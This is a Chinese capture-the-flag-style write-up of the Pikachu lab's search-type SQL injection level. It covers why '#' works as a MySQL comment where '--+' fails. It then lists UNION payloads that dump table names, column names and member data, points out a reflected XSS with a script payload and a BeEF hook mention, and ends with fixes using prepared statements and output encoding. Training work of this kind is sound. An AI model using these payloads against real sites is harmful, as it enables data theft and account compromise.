摘要 / 前言:
在完成了普通的数字型和字符型注入后,本关将面对“搜索型注入”。这是 Web 应用中最常见的注入场景之一。后端通常使用 LIKE 语句进行模糊查询。本关的难点不仅在于闭合 %',更在于对 MySQL 注释符的正确使用。在实战中,选对注释符往往决定了 Payload 是否生效。
一、核心知识点:为什么 --+ 失败而 # 成功?
在通关过程中,发现直接在搜索框输入 ko%'or 1=1 --+ 会报错,而输入 ko%' or 1=1 # 却能成功注入。这是本关最大的“坑”。
1. MySQL 的注释规则
#:从该字符开始到行尾,都视为注释。--(注意后面有个空格):双中划线后 必须紧跟一个空格(Space),MySQL 才会将其识别为注释。如果写成--+,MySQL 会认为这是语法错误。
2. HTTP 传输与 URL 编码
--+的原理: 在 URL 地址栏或 Burp Suite 的 Raw 包中,+号会被 Web 服务器解码为 空格。所以我们在 URL 里写?id=1'--+,服务器收到的是id=1'--(后面带个空格),从而满足 MySQL 的注释规则。- 输入框的差异: 当我们在 网页输入框 里直接打字输入
--+并点击查询时,浏览器会将+字符进行 URL 编码传输(通常变为%2B),或者后端直接接收到了字面意义上的+符号。- 结果: 后端收到的 SQL 变成了
... --+ ...。因为--后面紧跟着+而不是空格,MySQL 不认为这是注释,导致语法报错。
- 结果: 后端收到的 SQL 变成了
#的优势:#不需要后面跟空格。虽然#在 URL 中作为锚点如果不编码无法传输,但在表单输入框中输入#,浏览器会正确处理,后端收到后直接闭合,非常方便。
二、注入过程与 Payloads
明确了闭合方式为 %' 且注释符使用 # 后,注入过程就势如破竹了。
1. 验证注入点 (Boolean Verification)
构造逻辑判断,确认注入存在。
- Payload:
sql kobe%' or 1=1# - 结果: 返回了所有用户的数据,证明逻辑
OR 1=1生效。

2. 判断字段数 (Order By)
利用 ORDER BY 探测列数。
- Payload:
sql ko%' order by 3 # - 结果: 页面正常显示。当尝试
order by 4 #时页面报错或显示异常,确认当前表有 3 列。

3. 联合查询获取信息 (Union Select)
利用 UNION SELECT 将我们查询的数据拼接到搜索结果中。
- 获取当前用户、数据库、版本:
ko%' union select user(),database(),version() #

- 爆表名 (Dump Tables):
查询pikachu库下的所有表。ko%'union select database(),version(),group_concat(table_name) from information_schema.tables where table_schema='pikachu' #

- 爆列名 (Dump Columns):
查询member表的所有列。ko%'union select database(),version(),group_concat(column_name) from information_schema.columns where table_schema='pikachu'and table_name='member'#

- 爆数据 (Dump Data):
获取用户的详细信息。ko%' union select database(),version(),group_concat(username,sex,phonenum) from member #

三、源码深度分析与彩蛋
1. SQL 拼接逻辑
if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];
// 漏洞点:直接拼接,未过滤
// 此时需要构造 %' 来闭合前面的部分
$query="select username,id,email from member where username like'%$name%'";
$result=execute($link, $query);
// ...
}
后端使用了 LIKE 模糊查询,且两端都有 %。我们的 Payload 实际上将 SQL 变成了:select ... like '%ko%' or 1=1#%'
其中 # 注释掉了最后那个多余的 %'。
2. 发现 XSS 彩蛋
在阅读源码时,发现了一处代码:
$html2.="<p class='notice'> 用户名中含有 {$_GET['name']} 的结果如下:<br />";
这里直接将用户输入的 $_GET['name'] 输出到了 HTML 页面中,且没有做 htmlspecialchars 处理。
这意味着,这里不仅存在 SQL 注入 ,还存在 反射型 XSS 漏洞!
- 测试 Payload:
<script>alert(1)</script> - 如果在搜索框输入上述代码,页面应该会弹出警告框。
- 可以配合 BeEF 的 hook.js,上线 BeEF。

四、防御修复
- SQL 注入防御: 依然首推 预编译语句 (Prepared Statements)。
// PDO 示例 $stmt = $pdo->prepare('SELECT * FROM member WHERE username LIKE :name'); $stmt->execute(['name' => "%" . $userInput . "%"]);在绑定参数时才加上%,这样用户输入的任何符号(包括'和%)都会被当作纯文本处理。 - XSS 防御: 在将用户输入输出到浏览器之前,使用实体编码函数。
php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
正文完